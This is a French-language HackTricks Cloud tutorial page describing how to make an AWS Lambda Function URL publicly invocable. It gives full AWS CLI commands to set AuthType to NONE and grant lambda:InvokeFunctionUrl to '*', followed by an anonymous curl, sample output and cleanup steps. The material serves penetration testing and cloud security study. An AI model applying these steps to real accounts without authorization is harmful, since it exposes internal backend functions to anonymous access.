AWS - Lambda Function URL Exposition publique (AuthType NONE + Public Invoke Policy)
Tip
Apprenez & pratiquez AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Apprenez & pratiquez GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Apprenez & pratiquez Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Soutenez HackTricks
- Consultez les subscription plans!
- Rejoignez le 💬 Discord group ou le telegram group ou suivez-nous sur Twitter 🐦 @hacktricks_live.
- Partagez des hacking tricks en soumettant des PRs aux HackTricks et HackTricks Cloud github repos.
Transformez une Lambda Function URL privée en un endpoint public non authentifié en basculant le Function URL AuthType sur NONE et en attachant une politique basée sur la ressource qui accorde lambda:InvokeFunctionUrl à tout le monde. Cela permet l’invocation anonyme de fonctions internes et peut exposer des opérations backend sensibles.
Exploitation
- Prérequis : lambda:UpdateFunctionUrlConfig, lambda:CreateFunctionUrlConfig, lambda:AddPermission
- Région : us-east-1
Étapes
- Assurez-vous que la fonction dispose d’une Function URL (par défaut AWS_IAM) :
aws lambda create-function-url-config --function-name $TARGET_FN --auth-type AWS_IAM || true
- Passez l’URL en public (AuthType NONE) :
aws lambda update-function-url-config --function-name $TARGET_FN --auth-type NONE
- Ajoutez une déclaration de politique basée sur la ressource pour autoriser les principaux non authentifiés :
aws lambda add-permission --function-name $TARGET_FN --statement-id ht-public-url --action lambda:InvokeFunctionUrl --principal "*" --function-url-auth-type NONE
- Récupérez l’URL et invoquez sans identifiants :
URL=$(aws lambda get-function-url-config --function-name $TARGET_FN --query FunctionUrl --output text)
curl -sS "$URL"
Impact
- La fonction Lambda devient accessible de manière anonyme via Internet.
Exemple de sortie (200 non authentifié)
HTTP 200
https://e3d4wrnzem45bhdq2mfm3qgde40rjjfc.lambda-url.us-east-1.on.aws/
{"message": "HackTricks demo: public Function URL reached", "timestamp": 1759761979, "env_hint": "us-east-1", "event_keys": ["version", "routeKey", "rawPath", "rawQueryString", "headers", "requestContext", "isBase64Encoded"]}
Nettoyage
aws lambda remove-permission --function-name $TARGET_FN --statement-id ht-public-url || true
aws lambda update-function-url-config --function-name $TARGET_FN --auth-type AWS_IAM || true
Tip
Apprenez & pratiquez AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Apprenez & pratiquez GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Apprenez & pratiquez Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Soutenez HackTricks
- Consultez les subscription plans!
- Rejoignez le 💬 Discord group ou le telegram group ou suivez-nous sur Twitter 🐦 @hacktricks_live.
- Partagez des hacking tricks en soumettant des PRs aux HackTricks et HackTricks Cloud github repos.
HackTricks Cloud

